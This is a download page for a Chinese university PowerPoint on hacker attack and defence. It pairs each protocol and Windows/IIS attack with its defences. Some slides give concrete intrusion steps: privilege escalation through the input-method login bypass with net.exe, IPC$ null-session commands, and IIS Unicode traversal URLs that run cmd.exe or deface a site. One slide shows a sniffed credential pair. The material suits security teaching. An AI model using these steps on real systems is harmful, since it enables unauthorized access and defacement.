最新更新最新专题

您的位置:首页 > ppt下载 > PPT课件 > 学校PPT > 黑客攻防基础PPT课件

黑客攻防基础PPT课件下载

素材大小:
116.82 MB
素材授权:
免费下载
素材格式:
.ppt
素材上传:
ppt
上传时间:
2018-04-26
素材编号:
108584
素材类别:
学校PPT

素材预览

黑客攻防基础PPT课件

这是一个关于黑客攻防基础PPT课件,主要介绍黑客的定义;基于协议的攻击手法和防御手段;常见的漏洞分析。第3章 黑客攻防剖析 本讲概要 课程目标:通过本章的学习,读者应能够: 提示: 本章将会介绍和使用部分黑客软件及相关工具模拟攻击过程,所有软件、工具都来自互联网,本身均可能会被程序作者或者第三方加以利用,种植木马、病毒等恶意程式。我们特别提醒严禁在生产机器(包括学校的网络)上进行安装、使用。严禁在没有老师的指导监督下进行任何模拟攻击实验。指导老师需要严格遵循本课程是严要求,按照实验手册操作,利用虚拟机技术并在物理隔离的网络方可进行模拟攻击演示。 提示: 关于虚拟机的定义:Microsoft Virtual PC是一种软件虚拟化解决方案,允许您在一个工作站上同时运行多个操作系统。它节约了重新配置系统的时间,让您的支持、开发、测试和培训人员能够更高效地工作。本章中所提及的黑客工具不建议个人通过网络下载。3.1 “黑客”与“骇客” 黑客分类 黑客文化 3.2 黑客攻击分类 攻击方法的分类是安全研究的重要课题,对攻击的定性和数据挖掘的方法来分析漏洞有重要意义。对于系统安全漏洞的分类法主要有两种:RISOS分类法和Aslam分类法,对于针对TCP/IP协议族攻击的分类也有几种,欢迎点击下载黑客攻防基础PPT课件哦。

黑客攻防基础PPT课件是由红软PPT免费下载网推荐的一款学校PPT类型的PowerPoint.

第3章 黑客攻防剖析 本讲概要 课程目标:通过本章的学习,读者应能够: 提示: 本章将会介绍和使用部分黑客软件及相关工具模拟攻击过程,所有软件、工具都来自互联网,本身均可能会被程序作者或者第三方加以利用,种植木马、病毒等恶意程式。我们特别提醒严禁在生产机器(包括学校的网络)上进行安装、使用。严禁在没有老师的指导监督下进行任何模拟攻击实验。指导老师需要严格遵循本课程是严要求,按照实验手册操作,利用虚拟机技术并在物理隔离的网络方可进行模拟攻击演示。 提示: 关于虚拟机的定义:Microsoft Virtual PC是一种软件虚拟化解决方案,允许您在一个工作站上同时运行多个操作系统。它节约了重新配置系统的时间,让您的支持、开发、测试和培训人员能够更高效地工作。本章中所提及的黑客工具不建议个人通过网络下载。 3.1 “黑客”与“骇客” 黑客分类 黑客文化 3.2 黑客攻击分类 攻击方法的分类是安全研究的重要课题,对攻击的定性和数据挖掘的方法来分析漏洞有重要意义。对于系统安全漏洞的分类法主要有两种:RISOS分类法和Aslam分类法,对于针对TCP/IP协议族攻击的分类也有几种。 3.2.1 按照TCP/IP协议层次进行分类 这种分类是基于对攻击所属的网络层次进行的,TCP/IP协议传统意义上分为四层,攻击类型可以分成四类: 3.2.2 按照攻击者目的分类按照攻击者的攻击目的可分为以下几类:(1)DOS(拒绝服务攻击)和DDOS(分布式拒绝服务攻击)。 (2)Sniffer监听。 3.2.2 按照攻击者目的分类(3)会话劫持与网络欺骗。(4)获得被攻击主机的控制权,针对应用层协议的缓冲区溢出基本上目的都是为了得到被攻击主机的shell。 3.3 基于协议的攻击手法与防范 针对协议的攻击手段非常多样,下面对常见的协议攻击方式进行探讨,主要内容包括: 3.3.1 ARP协议漏洞 漏洞描述 ARP协议(Address Resolve Protocol,地址解析协议)工作在TCP/IP协议的第二层—数据链路层,用于将IP地址转换为网络接口的硬件地址(媒体访问控制地址,即MAC地址)。无论是任何高层协议的通信,最终都将转换为数据链路层硬件地址的通讯。 为什么要将IP转化成MAC呢?这是因为在TCP网络环境下,一个IP包走到哪里、怎么走是靠路由表定义。但是,以太网在子网层上的传输是靠48位的MAC地址而决定的,当IP包到达该网络后,哪台机器响应这个IP包需要靠该IP包中所包含的MAC地址来识别,只有机器的MAC地址和该IP包中的MAC地址相同的机器才会应答这个IP包。 3.3.1 ARP协议漏洞 (在命令行下输入arp –a或arp –g即可获得本地ARP转换表) 3.3.1 ARP协议漏洞 例如,A主机的IP地址为192.168.0.1,它现在需要与IP为192.168.0.8的主机(主机B)进行通信,那么将进行以下动作: A主机查询自己的ARP缓存列表,如果发现具有对应目的IP地址192.168.0.8的MAC地址项,则直接使用此MAC地址项构造并发送以太网数据包,如果没有发现对应的MAC地址项则继续下一步; A主机查询自己的ARP解析请求广播,目的MAC地址是FF:FF:FF:FF:FF:FF,请求IP为192.168.0.8的主机回复MAC地址; B主机收到ARP解析请求广播后,恢复给A主机一个ARP应答数据包,其中包含自己的IP地址和MAC地址; 3.3.1 ARP协议漏洞 A主机接收到B主机的ARP回复后,将B主机的MAC地址放入自己的ARP缓存列表,然后使用B主机的MAC地址作为目的MAC地址,B主机的IP地址(192.168.0.8)作为目的IP地址,构造并发送以太网数据包; 如果A主机还要发送数据包给192.168.0.8,由于在ARP缓存列表中已经具有IP地址192.168.0.8d MAC地址,所以A主机直接使用此MAC地址发送数据包,而不在发送ARP解析请求广播。 ARP转换表可以被攻击者人为地更改欺骗,可以针对交换式及共享式进行攻击,轻者导致网络不能正常工作(如网络执法官),重则成为黑客入侵跳板,从而给网络安全造成极大隐患。 攻击实现 下面介绍攻击者如何在以太网中实现ARP欺骗。如下图所示,三台主机: A: IP地址 192.168.0.1;硬件地址 AA:AA:AA:AA:AA:AA。 B: IP地址 192.168.0.2;硬件地址 BB:BB:BB:BB:BB:BB。 C: IP地址 192.168.0.3;硬件地址 CC:CC:CC:CC:CC:CC。 攻击实现 一个位于主机B的入侵者想非法进入主机A,可是这台主机上安装有防火墙。通过收集资料得知这台主机A的防火墙只对主机C有信任关系(开放23端口(telnet))。而他必须要使用telnet来进入主机A,这个时候他应该如何处理呢? 我们可以这样去思考,入侵者必须让主机A相信主机B就是主机C,如果主机A和主机C之间的信任关系是建立在IP地址之上的。攻击者可以先通过各种拒绝式服务方式让C这台机器暂时宕掉,在机器C宕掉的同时,将机器B的IP地址改为192.168.0.3,B可以成功地通过23端口 telnet到机器A上面,而成功地绕过防火墙的限制。攻击实现 但是,如果主机A和主机C之间的信任关系是建立在硬件地址的基础上,通过上面方法就没有作用了。这个时候还需要用ARP欺骗的手段让主机A把自己的ARP缓存中的关于192.168.0.3映射的硬件地址改为主机B的硬件地址。 入侵者人为地制造一个arp_reply的响应包,发送给想要欺骗的主机A,这是可以实现的,因为协议并没有规定必须在接收到arp_echo请求包后才可以发送响应包。攻击实现 可以用来发送A_reply包的工具很多,例如攻击者可以利用抓拨工具抓一个Arp响应包,并进行修改,修改的信息可以是:源IP、目标IP、源MAC地址、目标MAC地址,将修改的数据包通过Snifferpro(NAI公司出品的一款优秀网络协议分析软件)等工具发送出去。 攻击者这样就可以通过发送虚假的 ARP响应包来修改主机A上的动态ARP缓存达到欺骗的目的。 具体的步骤如下: (1) 利用工具,进行拒绝式服务攻击(Arp free),让主机 C宕掉,暂时停止工作。 (2)这段时间里,入侵者把自己的IP改成192.0.0.3。 (3)用工具发一个源IP地址为192.168.0.3源MAC地址为BB:BB:BB:BB:BB:BB的包给主机A,要求主机A更新自己的ARP转换表。 (4)主机更新了ARP表中关于主机C的IP-->MAC对应关系。 (5)防火墙失效了,入侵的IP变成合法的MAC地址,可以Telnet了。 其实ARP欺骗还可以在交换网络或不同网段下实现,所以必须注意防范。 ARP欺骗防范 知道了ARP欺骗的方法和危害,下面列出了一些防范方法 (1)不要把你的网络安全信任关系建立在IP地址的基础上或硬件MAC地址基础上(RARP同样存在欺骗的问题),较为理想的信任关系应该建立在IP+MAC基础上。 (2)设置在本机和网关设置静态的MAC-->IP对应表,不要让主机刷新你设定好的转换表。在三层交换机上设定静态ARP表。 ARP欺骗防范 (3) 除非很有必要,否则停止使用ARP,将ARP作为永久条目保存在对应表中。在Linux下可以用ifconfig-arp可以使网卡驱动程序停止使用ARP。 (4) 在本机地址使用ARP,发送外出的通信使用代理网关。 (5) 修改系统拒收ICMP重定向报文,在Linux下可以通过在防火墙上拒绝ICMP重定向报文或者是修改内核选项重新编译内核来拒绝接收ICMP重定向报文。在windows 2000下可以通过防火墙和IP策略拒绝接收ICMP报文(具体见《实验手册》)。 3.3.2 ICMP协议漏洞 漏洞描述 ICMP是"Internet Control Message Protocol" (Internet控制消息协议)的缩写,是传输层的重要协议。它是TCP/IP协议簇的一个子协议,用于IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。所以许多系统和防火墙并不会拦截ICMP报文,这给攻击者带来可乘之机。 网上有很多针对ICMP的攻击工具可以很容易达到攻击目的,其攻击实现目标主要为转向连接攻击和拒绝服务,下图所示是一个简单的针对ICMP的攻击工具。 3.3.2 ICMP协议漏洞:ICMP攻击工具 3.3.2 ICMP协议漏洞 攻击实现 (1)ICMP转向连接攻击:攻击者使用 ICMP“时间超出”或“目标地址无法连接”的消息。这两种ICMP消息都会导致一台主机迅速放弃连接。攻击只需伪造这些ICMP消息中的一条,并发送给通信中的两台主机或其中的一台,就可以利用这种攻击了。接着通信连接就会被切断。当一台主机错误地认为信息的目标地址不在本地网络中的时候,网关通常会使用ICMP“转向”消息。如果攻击者伪造出一条“转向”消息,它就可以导致另外一台主机经过攻击者主机向特定连接发送数据包。 3.3.2 ICMP协议漏洞 (2) ICMP数据包放大(ICMP Smurf):攻击者向安全薄弱网络所广播的地址发送伪造的ICMP响应数据包。那些网络上的所有系统都会向受害计算机系统发送ICMP响应的答复信息,占用了目标系统的可用带宽并导致合法通信的服务拒绝(DoS)。一个简单的Smurf攻击通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(Ping)来淹没受害主机的方式进行,最终导致该网络的所有主机都对此ICMP应答请求做出答复,导致网络阻塞,比ping of death洪水的流量高出一或两个数量级。更加复杂的Smurf将源地址改为第三方的受害者,最终导致第三方雪崩。 3.3.2 ICMP协议漏洞 (3) 死Ping攻击(Ping of Death):由于在早期的阶段,路由器对包的最大尺寸都有限制,许多操作系统对TCP/IP栈的实现在ICMP包上都是规定64KB,并且在对包的标题头进行读取之后,要根据该标题头里包含的信息来为有效载荷生成缓冲区,当产生畸形的,声称自己的尺寸超过ICMP上限的包也就是加载的尺寸超过64KB上限时,就会出现内存分配错误,导致TCP/IP堆栈崩溃,致使接受方宕机。 3.3.2 ICMP协议漏洞 (4)ICMP Ping淹没攻击:大量的PING信息广播淹没了目标系统,使得它不能够对合法的通信做出响应。 (5)ICMP nuke攻击:Nuke发送出目标操作系统无法处理的信息数据包,从而导致该系统瘫痪。 (6)通过ICMP进行攻击信息收集:通过Ping命令来检查目标主机是否存活,依照返回TTL值判断目标主机操作系统。(如 LINUX应答的 TTL字段值为64;FreeBSD/Sun Solaris/HP UX应答的 TTL字段值为 255;Windows 95/98/Me应答的TTL字段值为 32;Windows2000/NT应答的TTL字段值为128)。攻击实现 ICMP攻击的防范 策略一:对ICMP数据包进行过滤。 虽然很多防火墙可以对ICMP数据包进行过滤,但对于没有安装防火墙的主机,可以使用系统自带的防火墙和安全策略对ICMP进行过滤(见《实验手册》)。 策略二:修改TTL值巧妙骗过黑客。 许多入侵者会通过Ping目标机器,用目标返回TTL值来判断你的操作系统。既然入侵者相信TTL值所反映出来的结果,那么我们只要修改TTL值,入侵者就无法得知目标操作系统了。操作步骤: ICMP攻击的防范 3.3.3 TCP协议漏洞 TCP协议是攻击者攻击方法的思想源泉,主要问题存在于TCP的三次握手协议上,正常的TCP三次握手过程如下:(1)请求端A发送一个初始序号ISNa的SYN报文;(2)被请求端 B收到 A的 SYN报文后,发送给 A自己的初始序列号 ISNb,同时将 ISNa+1作为确认的SYN+ACK报文; 3.3.3 TCP协议漏洞 (3)A对SYN+ACK报文进行确认,同时将 ISNa+1,ISNb+1发送给 B,TCP连接完成。 针对TCP协议的攻击的基本原理是:TCP协议三次握手没有完成的时候,被请求端B-般都会重试(即再给 A发送 SYN+ACK报文)并等待一段时间(SYN timeout),这常常被用来进行DOS、Land(在Land攻击中,一个特别打造的SYN包其原地址和目标地址都被设置成某一个服务器地址,此举将导致接收服务器向它自己的地址发送SYN-ACK消息,结果该地址又发回ACK消息并创建一个空连接,每一个这样的连接都将保留直至超时,对Land攻击反应不同,许多 UNIX系统将崩溃,NT变得极其缓慢)和 SYN Flood攻击是典型的攻击方式。 攻击实现 在 SYN Flood攻击中,黑客机器向受害主机发送大量伪造源地址的 TCP SYN报文,受害主机分配必要的资源,然后向源地址返回SYN+ACK包,并等待源端返回ACK包,如图所示。由于源地址是伪造的,所以源端永远都不会返回ACK报文,受害主机继续发送SYN+ACK包,并将半连接放入端口的积压队列中,虽然一般的主机都有超时机制和默认的重传次数,但是由于端口的半连接队列的长度是有限的,如果不断地向受害主机发送大量的 TCP SYN报文,半连接队列就会很快填满,服务器拒绝新的连接,将导致该端口无法响应其他机器进行的连接请求,最终使受害主机的资源耗尽。攻击实现 防御方法 针对SYN Flood的攻击防范措施主要有:一类是通过防火墙、路由器等过滤网关防护,另一类是通过加固TCP/IP协议栈防范。 网关防护的主要技术有:SYN-cookie技术和基于监控的源地址状态、缩短SYN Timeout时间。SYN-cookie技术实现了无状态的握手,避免了 SYN Flood的资源消耗。基于监控的源地址状态技术能够对每一个连接服务器的IP地址的状态进行监控,主动采取措施避免SYN Flood攻击的影响。 防御方法 为防范SYN攻击,windows 2000系统的TCP/IP协议栈内嵌了SynAttackProtect机制,Win2003系统也采用此机制。SynAttackPotect机制是通过关闭某些socket选项,增加额外的连接指示和减少超时时间,使系统能处理更多的SYN连接,以达到防范SYN攻击的目的。默认情况下,Win2000操作系统并不支持SynAttackProtect保护机制,需要在注册表以下位置增加 SynAttackProtect键值: HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters 防御方法 当SynAttackProtect值(如无特别说明,本文提到的注册表键值都为十六进制)为0或不设置时,系统不受SynAttackProtect保护。当SynAttackProtect值为1时,系统通过减少重传次数和延迟未连接时路由缓冲项(route cache entry)防范 SYN攻击。 对于个人用户,可使用一些第三方的个人防火墙;对于企业用户,购买企业级防火墙硬件,都可有效地防范针对 TCP三次握手的拒绝式服务攻击。 3.3.4 其他协议明文传输漏洞漏洞描述 TCP/IP协议数据流采用明文传输,是网络安全的一大隐患,目前所使用的Ftp、http、POP和telnet服务在本质上都是不安全的,因为它们在网络上用明文传送口令和数据,攻击者可以很容易地通过嗅探等方式截获这些口令和数据。 嗅探侦听主要有两种途径,一种是将侦听工具软件放到网络连接的设备或者放到可以控制网络连接设备的电脑上,这里的网络连接设备指的是网关服务器、路由器等。当然要实现这样的效果可能还需要其他黑客技术,比如通过木马方式将嗅探器发给某个网络管理员,使漏洞描述 其不自觉地为攻击者进行了安装。另外一种是针对不安全的局域网(采用交换hub实现),放到个人电脑上就可以实现对整个局域网的侦听。它的原理是这样的:共享hub获得一个子网内需要接收的数据时,并不是直接发送到指定主机,而是通过广播方式发送到每个电脑,对于处于接受者地位的电脑就会处理该数据,而其他非接受者的电脑就会过滤这些数据,这些操作与电脑操作者无关,是系统自动完成的,但是电脑操作者如果有意的话,是可以将那些原本不属于他的数据打开的。 3.3.4 其他协议明文传输漏洞 攻击实现 网络抓包工具目前很多,如HTTPSniffer、SpyNet、Sniffit、Ettercap、Snarp、IRIS。这里要使用到一款抓包工具 Winsock Expert,它可以用来监视和截获指定进程网络数据的传输,对测试http通信过程非常有用。黑客经常使用该工具来修改网络发送和接收数据,协助完成很多网页脚本的入侵工作。 我们用 Winsock Expert来验证 http协议明文传输以及潜在的危险。 攻击实现 Winsock Expert 的使用非常简单。软件运行后界面如下: 攻击实现 (l)点击工具栏上的“打开”按钮,打开监视进程选择对话框。 (2)在其中找到需要监视的进程后,点击左边的加号按钮,展开后选择需要监视的进程即可。以监视IE浏览器网络数据为例,可以在打开的对话窗口中找到进程项目名“iexplorer.exe” 并展开,在其下选择正在登录的网页名称,例如“新浪首页-Microsoft Internet Explorer”的进程。选择该进程后,点击对话框中的“打开”按钮,返回主界面开始对本机与“新浪首页” 网站的数据交换进行监控。如果点击对话框中的“刷新”按钮的话,可以刷新列表中的进程项目名。 (3)在主界面的上部窗口中,将即时显示本地主机与远程网站进行的每一次数据交换,见下图。 攻击实现 (4)当你在新浪网站首页输入邮箱用户名和密码并提交登陆时,主界面开始对本机与“新浪首页”网站的数据交换全部记录,我们从抓包的结果来看,用户所提交的邮箱账户和密码全部以明文显示在抓包记录中(见图中阴影部分,表示用户为ahpu00,密码是8919703)。当然这种交换数据也可被在共享式局域网内或者在路由、交换节点被截获,攻击者可以轻松获得大量重要账户、密码、关键数据,可见明文传输威胁之大。 漏洞描述 (1)从逻辑或物理上对网络分段,网络分段通常被认为是控制网络广播风暴的一种基本手段,但其实也是保证网络安全的一项措施。其目的是将非法用户与敏感的网络资源相互隔离,从而防止可能的非法监听。 (2)以交换式集线器代替共享式集线器,使单播包仅在两个节点之间传送,从而防止非法监听。当然,交换式集线器只能控制单播包而无法控制广播包(Broadcast packet)和多播包 (Multicast Packet)。但广播包和多播包内的关键信息,要远远少于单播包。 漏洞描述 (3)使用加密技术,数据经过加密后,通过监听仍然可以得到传送的信息,但显示的是乱码。使用加密协议对敏感数据进行加密,对于Web服务器敏感数据提交可以使用https代理http;用 PGP(PGP--Pretty Good Privacy,这是一个基于 RSA公钥加密体系的邮件加密软件,它提出了公共钥匙或不对称文件加密和数字签名。)对邮件进行加密; (4)划分VLAN,运用 VLAN(虚拟局域网)技术,将以太网通信变为点到点通信,可以防止大部分基于网络监听的入侵。 (5)使用动态口令技术,使得侦听结果再次使用时无效。 3.4 操作系统漏洞攻击 无论是UNIX、Windows还是其他操作系统都存在着安全漏洞。主流操作系统Windows更是众矢之的,每次微软的系统漏洞被发现后,针对该漏洞利用的恶意代码很快就会出现在网上,一系列案例证明。从漏洞被发现到恶意代码出现,中间的时差开始变得越来越短,所以必须时刻关注操作系统的最新漏洞,以保证系统安全。 本节重点介绍一些针对Windows系统以及服务的经典漏洞利用原理和防范方法。 3.4.1 输入法漏洞 漏洞描述 在安装Windows 2000简体中文版的过程中,默认情况下同时安装了各种简体中文输入法。而Microsoft自Windows 2000开始,支持中文用户名。这些随系统装入的输入法可以在系统登录界面中使用,以便用户能使用基于中文字符的用户标识和密码登录到系统,理论上,在未登陆情况下,应限制提供给用户的系统功能。然而,在SP2补丁以前,默认安装的情况 下,Windows 2000中的简体中文输入法不能正确地检测当前的状态,导致在系统登录界面中提供了不应有的功能。进而,一些别有用心的用户可以通过直接操作该系统的登陆界面得到 当前系统权限,运行其选择的代码,更改系统配置,新建用户,添加或删除系统服务,添加、更改或删除数据,或执行其他非法操作。攻击实现 针对输入法漏洞的攻击有本地和远程两种攻击方式,该种攻击方式可以使本地用户绕过身份验证机制进入系统内部。 (1)启动机器进入 Windows 2000登录界面,此时将光标放至“用户名”文本框中,见下图。攻击实现(2)然后按Ctrl+shift快捷键调出全拼输入法状态攻击实现(5)打开“输入法操作指南”窗口,在基本操作目录下选择一项帮助目录后,单击鼠标右键,从弹出的快捷菜单中选择“跳至URL”命令,见下图。攻击实现(6)在“跳至URL”的 “跳至该URL”中输入“e:\”,单击“确定”按钮,见下图。攻击实现(7)此时可以列出E盘中的文件夹,见下图 攻击实现 在C:\下,拖拽任意文件,点右键,选择创建一个快捷方式,右键点击该快捷方式,在“属性”->“目标”->c:\winnt\system32\net.exe后面空一格,填入“user guest/active:yes”点“确定”。这一步骤目的在于用net.exe激活被禁止使用的guest账户,当然也可以填入“user用户名 密码/add”,创建一个新账号。 双击运行该快捷方式,此时并不会看到运行状态,但guest用户已被激活。同样方法可以将 guest通过“localgroup administrators guest/add”加入管理员组变成系统管理员。 远程攻击 Windows 2000中文简体版的终端服务,在远程操作时仍然存在这一漏洞,而且危害更大。Windows 2000的终端服务功能,能使系统管理员对Windows 2000进行远程操作,采用的是图形界面,能使用户在远程控制计算机时与在本地使用一样,其默认端口为3389,用户只要装了 Windows 2000的客户端连接管理器就能与开启了该服务的计算机相联。因此,这一漏洞使终端服务成为 Windows 2000的合法木马(SP2以前)。 黑客通过端口扫描工具,如流光、网络刺客等,搜索某一网段,寻找开放3389端口的机器,如是中文简体版Windows 2000系统并且没有打SP2补丁,记录其IP地址,通过远程登陆工具(如酷虎Win2K登录器),即可进入登陆界面,其方法如本地攻击。 攻击防范 采取以下一些预防措施,可以有效杜绝黑客的攻击: (1)给Windows 2000 打补丁到 SP4(如打补丁到 SP4)不需要进行第 2项操作)。 (2)删除输入法帮助文件和多余的输入法。 为了防止恶意用户通过输入法漏洞对服务器进行攻击,删除不需要的输入法和输入法的帮助文件。这些帮助文件通常在 Windows 2000的安装目录下(如:C:Windowsnt)的 Help目录下,对应的帮助文件分别是: Windowsime.chm 输入法操作指南; Windowssp.chm 双拼输入法帮助; Windowszm.chm 郑码输入法帮助。攻击防范 (3)防止别人恶意利用net.exe,可以考虑将其移出c:\winnt\system32目录,或者改名。但自己应记住更改的目录或新的文件名。 3.4.2 IPC$攻击 漏洞描述 IPC$(Internet Process Connection)是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。 IPC$是Windows NT/2000的一项新功能,它有一个特点,即在同一时间内,两个 IP之间只允许建立一个连接。Windows NT/2000在提供了 IPC$功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或windows(admin$)共享。所有的这些,微软的初衷都是为了方便管理员的管理,但在有意无意中,导致了系统 安全性的降低。 漏洞描述 IPC$漏洞,其实IPC$本身并不是一个真正意义上的漏洞,其主要漏洞在于其允许空会话(Null session)。空会话是在没有信任的情况下与服务器建立的会话(即未提供用户名与 密码)。 那么,通过空会话,黑客可以做什么? 对于Windows NT系列的操作系统,在默认安全设置下,借助空连接可以列举目标主机上的用户和共享,访问everyone权限的共享,访问小部分注册表等,但这对黑客来说并没有什么太大的利用价值;对 windows2000作用更小,因为在 Windows 2000和以后版本中默认只有管理员和备份操作员有权从网络访问到注册表,而且实现起来也不方便,需借助工具。 漏洞描述 单从上述描述来看,空会话好像并无名大用处,但从一次完整的IPC$入侵来看,空会话是一个不可缺少的跳板,以下是空会话中能够使用的一些具体命令: (1)首先,建立一个空会话(当然,这需要目标开放IPC$)。命令如下: net use\\ip\ipc$""/user:"" 注意:上面的命令包括四个空格,net与 use中间有一个空格,use后面一个,密码左右各一个空格。 (2)空会话建立之后,可以进行查看远程主机的共享资源。命令如下: net view \\ip 漏洞描述解释:前提是建立空连接后,用此命令则以置看远程主机的共享资源,如果它开启了共享,可以得到如下的结果,但此命令不能显示默认共享。 在 \\*.*.*.* 的共享资源: 资源共享名 类型 用途 注释 (3)查看远程主机的当前时间。命令如下: net time\\ip 解释: 用此命令可以得到一个远程主机的当前时间。 漏洞描述 (4)得到远程主机的NetBIOS用户名列表(需要打开自己的NBT)。命令如下: netstat -A ip 解释:用此命令可以得到一个远程主机的NetBIOS用户名列表。 通过IPC$空连接,可以借助第三方工具对远程主机的管理账户和弱口令进行枚举。一旦猜测到弱口令,可进一步完成入侵,并植入后门。 防范IPC$入侵 (1) 禁止空连接进行枚举(此操作并不能阻止空连接的建立)。首先运行regedit,找到如下组键: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA] 将RestrictAnonymous=DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些Windows的服务出现问题等)。(2)禁止默认共享。 ①察看本地共享资源。在开始/程序/运行命令行中输入“cmd”进入 MS-DOS模式,再输入“net share"。 ②删除共享(每次输入一个)。 net share lpc$/delete net share admini$/delete net share c$/delete net share d$/delete(如果有 e,f,……可以继续删除) ③停止server服务。 net stop server /y(重新启动后 server服务会重新开启)(2)禁止默认共享。 ④修改注册表。运行regedit。对于server版:找到主键:[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\ Servlces\Lanmanserver\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。对于pro 版:找到主键:[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\ Servlces\Lanmanserver\Parameters]把 Autosharewks(DWORD)的键值改为:00000000。如果上面所说的主键不存在,就新建(右击新建/双字节值)一个主键再改键值。(2)禁止默认共享。 ⑤永久关闭 IPC$和默认共享依赖的服务:lanmanserver即 server服务。操作方法为:控制面板/管理工具/服务中找到server服务(右击)/属性/常规/启动类型/已禁用。 ⑥安装防火墙(选中相关设置),或者通过本地连接TCP/IP筛选进行端口过滤(滤掉139,445等)。 ⑦设置复杂密码,防止通过IPC$穷举密码。 3.4.3 RPC (Remote Procedure Call)漏洞 远程过程调用(Remote Procedure Call,简称 RPC)是一种协议,程序可使用这种协议向网络中的另一台计算机上的程序请求服务。由于使用RPC的程序不必了解支持通信的网络协议的情况,因此,RPC提高了程序的互操作性。Microsoft的RPC部分在通过TCP/IP处理信息交换时存在问题,远程攻击者可以利用这个漏洞以本地系统权限在系统上执行任意指令。 RPC漏洞是由于 Windows RPC服务在某些情况下不能正确检查消息输入而造成的。如果攻击者在RPC建立连接后发送某种类型的格式不正确的RPC消息,则会导致远程计算机上与RPC之间的基础分布式组件对象模型[分布式对象模型(DCOM)是一种能够使软件组件通过网络直接进行通信的协议。 3.4.3 RPC (Remote Procedure Call)漏洞 DCOM以前叫做“网络 OLE”,它能够跨越包括Internet协议(例如 HTTP)在内的多种网络传输。接口出现问题,进而使任意代码得以执行。成功利用此漏洞可以根据本地系统权限执行任意指令。攻击者可以在系统上执行任意操作,如安装程序、查看或更改、删除数据、修改网页或建立系统管理员权限的账户甚至格式化硬盘。 冲击波(Worm.Blaster)病毒就是利用RPC传播,导致受影响的Windows XP/2000/2003系统弹出RPC服务终止对话框,系统总是无故反复自动关机、重启,给全球网络造成重大损失,不少企业网络因此一度瘫痪。此后又出现高波(Worm_Agobot)蠕虫病毒也是针对此漏洞进行传播,造成大范围危害。 3.4.3 RPC (Remote Procedure Call)漏洞 黑客也会利用此漏洞进行攻击,通过Retina(R)就可以很容易扫描一个网段存在RPC漏洞隐患的机器。 3.4.3 RPC (Remote Procedure Call)漏洞利用一款叫cndcom的溢出工具,很容易使目标产生溢出,获得系统权限 3.5 针对IIS漏洞攻击 Microsoft IIS是允许在公共Intranet或Internet上发布信息的Web服务器,IIS可以提供HTTP、FTP、gopher服务。 IIS本身的安全性能并不理想,漏洞层出不穷,如 MDAC弱点漏洞、ida&idq漏洞、printer漏洞、Unicode编码、目录遍历漏洞、WebDAV远程缓冲区溢出漏洞等,使得针对IIS服务器的攻击事件频频发生。 3.5.1 Unicode漏洞 漏洞分析 Uicode为一个ISO国际标准,它包含了世界各国的常用文字,可支持数百万个字码。它的目的是统一世界各国的字符编码。许多操作系统,最新的浏览器和其他产品都支持Unicode编码。 IIS 4.0、IIS5.0在使用Unicode解码时存在一个安全漏洞,导致用户可以远程通过IIS 执行任意命令。当用户用IIS打开文件时,如果该文件名包含Unicode字符,系统会对其进行解码。如果用户提供一些特殊的编码请求,将导致IIS错误地打开或者执行某些Web根目录以外的文件。 通过此漏洞,攻击者可查看文件内容、建立文件夹、删除文件、拷贝文件且改名、显示目标主机当前的环境变量、把某个文件夹内的全部文件一次性拷贝到另外的文件夹去、把某个文件夹移动到指定的目录和显示某一路径下相同文件类型的文件内容等。 漏洞成因 Unicode漏洞影响的版本有:从中文Windows IIS 4.0+SP6开始,还影响中文Windows2000+IIS5.0、中文Windows 2000+IIS5.S+SP1。繁体中文版也同样存在这样的漏洞。它们利用扩展Unicode字符(如利用“../”取代“/”和“\”)进行目录遍历漏洞。“\”在WindowsNT中编码为%c1%9c,在 Windows 2000英文版中编码为%c0%af。漏洞攻击 网络中有很多入门级攻击都是来源于Unicode漏洞。攻击者要检测网络中某IP段的Unicode漏洞情况,可以使用Red.exe、Xscan、SuperScan、RangeScan扫描器、Unicode扫描程序 Uni2.pl及流光 Fluxay4.7和 SSS等扫描软件来检测漏洞主机。 对检测到主机 IP 地址为 * . * . * . * 的 Windows NT/2000 主机,在 IE 地址栏输入 http://* .*.*.*/scripts/..%c1%1c../winn/system32/cmd.exe?/c+dir(其中%c1%1c为Windows 2000中文版漏洞编码,在不同的操作系统中,您可使用不同的漏洞编码),如漏洞存在,您还可以将 Dir换成 Set和 Mkdir等命令,甚至可以用 http://*.*.*.*/scripts/..%c0%af../winnt/system32/ cmd.exe?/c+echo+内容+>d:\pup\wwwroot\index.php来修改网站首页 (通过Unicode漏洞显示服务器系统目录文件) 防御办法 若系统存在Uuicode漏洞,可采取如下方法进行补救: (1)限制网络用户访问和调用CMD命令的权限; (2)若没必要使用SCRIPTS和MSADC目录,将其全部删除或改名; (3)安装Windows NT系统时不要使用默认winnt路径,您可以改为其他的文件夹,如C:\mywindowsnt; (4)用户可从Microsoft网站安装补丁。 3.5.2 IDA&IDQ缓冲区溢出漏洞漏洞危害及成因 作为安装IIS过程的一部分,系统还会安装几个ISAPI扩展.dlls,其中 idq.dll是Index Server的一个组件,对管理员脚本和Internet数据查询提供支持。但是,idq.dll在一段处理URL输入的代码中存在一个未经检查的缓冲区,攻击者利用此漏洞能导致受影响服务器产生缓冲区溢出,从而执行自己提供的代码。更为严重的是,idq.dll是以 System身份运行的,攻击者可以利用此漏洞取得系统管理员权限。 3.5.2 IDA&IDQ缓冲区溢出漏洞攻击实现 由于这一漏洞广泛地被入侵者所利用,idq.dll缓冲区溢出漏洞不亚于Unicode漏洞,极大地危害着网络的安全。 如同所有的漏洞入侵过程一样,先使用各种通用的漏洞扫描工具扫描出漏洞机器。然后到网络搜索针对该漏洞的利用工具,如各种针对溢出工具。 溢出工具有图形界面的Snake IIS IDQ和命令行下的IIS idq或者Idq over等。入侵流程: (1)找到一台存在IDQ漏洞的服务器,这里目标服务器的IP为X.X.X.X。入侵流程 